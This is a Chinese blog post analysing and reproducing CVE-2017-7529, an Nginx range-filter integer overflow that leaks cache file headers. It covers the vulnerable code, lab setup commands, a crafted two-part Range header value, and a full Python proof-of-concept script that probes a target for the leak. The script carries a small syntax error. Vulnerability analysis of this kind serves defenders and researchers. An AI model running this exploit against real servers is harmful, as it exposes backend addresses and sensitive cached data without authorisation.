Nginx 整型溢出漏洞分析复现

Posted by JenI on 2017-07-15 00:00:00+08:00

前言

Nginx 是一个高性能的 HTTP 和反向代理服务器,从很早之前的版本,它便支持类似 Squid 的缓存功能。Nginx 的 web 缓存服务主要由 proxy_cache 相关命令集和 fastcgi_cache 相关命令集构成,前者用于反向代理时对后端内容源服务器进行缓存,后者主要用于对 FastCGI 的动态程序进行缓存。这次的 Nginx 整型溢出漏洞(CVE-2017-7529)便是针对 Nginx 服务器开启缓存功能这种情况的。通过在请求里构造恶意的 Range 字段,可以读取缓存文件的头部信息,缓存文件头可能包含后端服务器的IP地址或其它敏感信息。

什么是 Range

HTTP 协议从 1.1 版本开始支持分段获取文件内容,这一功能为并行下载和断点续传提供了技术支持。当客户端请求一个较大的资源时,就可以使用 Range 进行分段请求。实现方法是在请求的 Header 里设置 Range 字段,此时服务器的响应中会包含 Content-Range 字段。

一般情况下,请求头中的 Range 字段有两种写法:

  • Range: bytes=start-end
  • Range: bytes=-end

第一种写法表示访问从 start 开始,到 end 结束的字节内容,如 Range: bytes=0-1024 表示访问请求资源的 0 到 1024 字节内容;第二种写法表示访问请求资源最后的 end 字节内容,如 Range: bytes=-100 表示访问请求资源的最后 100 字节内容。

对于普通文件来说,Range 的开始和结束并不会有什么影响,因为服务器返回的就是完整文件的一部分,但是缓存文件不同,它和普通的文件相比额外拥有一个文件头,里面保存了一些服务器的配置信息(正常情况下服务器是不会返回缓存文件头部的)。所以,当我们针对一个缓存文件进行请求时,如果可以绕过服务器限制,使缓存文件被完整的返回,这时只要控制 Range 的起始字节为一个合理的负值,就可以读到缓存文件头部。

我下载了 1.12.0 版本的 Nginx,对漏洞的产生进行了简单的分析。

漏洞分析

漏洞存在于 nginx-1.12.0/src/http/modules/ngx_http_range_filter_module.c 文件,文件内的 ngx_http_range_parse 函数负责解析 header 中的 Range 字段内容。函数的部分内容如下:

nginx-int-overflow-1

if 代码块对 Range 格式为 start-end 时的请求进行处理,其中 cutoff 和 cutlim 两个值保证了从 Range 字段取到的 start 值和 end 值始终为正数,这种情况下无法控制 start 为负值,所以我们需要使 if 条件为假,从而进入 else 语句,if 的条件是指针 p 不为 "-" ,所以 Range 使用 -end 格式就可以进入 else 代码块。此时的 suffix 被赋值为 1,程序向下执行:

nginx-int-overflow-2

这里先说明一下,图片里的 content_length 并不是缓存文件的完整长度,而且服务器返回给我们的不包含缓存文件头的文件长度,我们这里称它为"正常文件长度",之后会提到的完整的缓存文件长度我们称为"缓存文件长度"

suffix 为真时,Range 的 start 等于正常文件长度减去 end 的值,end 值为正常文件长度减去 1 。如果此时 end 值要比正常文件长度数值大的话,就可以将 start 解析为负值。与 Range 相关的还有一个 size 值,它是每段 Range 相加后的总长度:

nginx-int-overflow-3

在满足 start 比 end 小的条件时,size 就等于每段 Range 的长度之和。得到 size 的大小后会进行入下判断:

nginx-int-overflow-4

可以看到当 size 比 正常文件长度大时,服务器便不再对缓存文件进行分段操作,而是直接返回原始的缓存文件。

知道了程序的逻辑关系,就可以想办法绕过了。首先,为了使服务器返回原始的缓存文件,我们需要让 size 值满足大于正常文件长度的条件,但是如果一个 Range 比缓存文件长度大,又会使得读取字节超出文件范围,造成读取失败。所以这里需要设置两个 Range 值,第一个值用来控制读取文件的字节数在缓存文件长度范围内,第二个值用来保证 Range 的总长度大于正常文件的总长度。这样就成功绕过过滤器的限制,读取到缓存文件的头部。

环境搭建

我准备了两台虚拟机,用来对漏洞进行复现,发行版本如下:

  • CentOS-7-x86_64-Minimal-1611 ,IP 192.168.6.158
  • Archlinux-x86_64

首先在 CentOS 上搭建 Nginx 服务。

安装必要的 lib 库

yum install gcc-c++ wget
yum install pcre pcre-devel
yum install zlib zlib-devel
yum install openssl openssl-devel

下载 1.12.0 版本的 Nginx

wget http://nginx.org/download/nginx-1.12.0.tar.gz

解压

tar -zxvf nginx-1.12.0.tar.gz

安装 Nginx

cd nginx-1.12.0
./configure --prefix=/usr/local/nginx
make && make install
ln -s /usr/local/nginx/sbin/nginx /usr/bin
systemctl stop firewalld
nginx

Nginx 安装成功后,修改 Nginx 的配置文件

vi /usr/local/nginx/conf/nginx.conf

设置 Nginx 服务器反向代理百度,开启缓存功能,具体配置如下:

nginx-int-overflow-5

proxy_cache_key 用来指定生成的key的字段内容,用以区分缓存文件,这部分内容会在之后我们利用漏洞时被泄露。proxy_cache_path 设置了缓存文件的路径和参数。proxy_cache_valid 用来指定不同状态码下的缓存时间。server 代码块设置了代理的内容,并对响应头进行了一些设置。add_header X-Proxy-Cache 表示在响应头里添加一条 X-Proxy-Cache ,用以区分是否命中缓存,它一共有 5 种状态,MISS 表示未命中,请求被传送到后端;HIT 表示缓存命中;EXPIRED 表示缓存已经过期请求被传送到后端;UPDATING 表示正在更新缓存,将使用旧的应答;STALE 表示后端将得到过期的应答。

配置文件修改后,让 Nginx 重新加载配置

nginx -s reload

环境搭建完成,验证下是否可用。使用另一台虚拟机访问,获取响应头信息。

nginx-int-overflow-6

漏洞复现

根据之前的分析可知,我们需要两个 Range ,一小一大,小的 Range 需要满足小于缓存文件长度,大于正常文件长度的条件,而大的 Range 需要足够大。根据上面的图片可知,服务器返回的正常文件长度为 7877 ,假设我们想要额外读取缓存文件头部 600 字节,第一段 Range 就需要设置为 -7877-600 ,也就是 -8477。第二段 Range 既然要足够大,那我们就用 Range 可设置的最大值减去 第一段 Range 大小,这样两段 Range 相加得到的 size 依然是最大值,也就必然超过了正常文件长度。Range 可接受的数值为 64 位整型,最大为 0x8000000000000000 ,换成 10 进制是 9223372036854776000 ,减去 8477 等于 9223372036854767523,也就是第二段 Range 长度。

设置 Range 参数后再次请求缓存文件

nginx-int-overflow-7

可以看到成功读取了缓存文件头部

漏洞利用POC

# -*- coding=utf-8 -*-

import urllib2
import re
import urlparse
import HTMLParser
import ssl
import sys

try:
    _create_unverified_https_context = ssl._create_unverified_context  # Ignore certificate error
except AttributeError:
    pass
else:
    ssl._create_default_https_context = _create_unverified_https_context

def get_url(target):
    url_list = []
    if ':443' in target or ':8443' in target:
        url = 'https://' + target
    else:
        url = 'http://' + target
    res = urllib2.urlopen(url, timeout=30)
    html = res.read()
    root_url = res.geturl()
    m = re.findall("<(?:img|link|script)[^>]*?(?:src|href)=('|\")(.*?)\\1", html, re.I)
    if m:
        for _ in m:
            ParseResult = urlparse.urlparse(_[1])
            if ParseResult.netloc and ParseResult.scheme:
                if target == ParseResult.hostname:
                    url_list.append(HTMLParser.HTMLParser().unescape(_[1]))
            elif not ParseResult.netloc and not ParseResult.scheme:
                url_list.append(HTMLParser.HTMLParser().unescape(urlparse.urljoin(root_url, _[1])))
    return list(set(url_list))


def check(target):
    url_list = get_url(target)
    # url_list[0] = 'http://192.168.6.158/img/bd_logo1.png'
    # print url_list
    info = '[-]No risk detected'
    i = 0
    for url in url_list:
        if i >= 3: break
        i += 1
        l = 550
        while l < 700:

            headers = urllib2.urlopen(url,timeout=30).headers
            file_len = headers["Content-Length"]
            request = urllib2.Request(url)
            request.add_header("Range", "bytes=-%d,-9223372036854%d"%(int(file_len)+l,776000-(int(file_len)+l)))
            cacheres = urllib2.urlopen(request, timeout=30)
            cont = cacheres.read(4048)
            print cont
            # print str(cacheres.headers)
            if cacheres.code == 206 and "Content-Range" in cont and ": HIT" in str(cacheres.headers):
                info = "[+]Target vulnerability!"
                return info
            else:
                l += 50
    return info

def main():
    if len(sys.argv) != 2:
        print 'Usage: python %s ip:port(default 80)' % sys.argv[0]
    else:
        target = sys.argv[1]
        if ':' not in target:
            target = target + ':80'
        try:
            print check(target)
        except Exception,e:
            print '[-]Error: ' + str(e)
            exit(0)

if __name__=='__main__'::
    main()

效果图:

nginx-int-overflow-8


作者:   JenI   转载请注明出处,谢谢


Comments !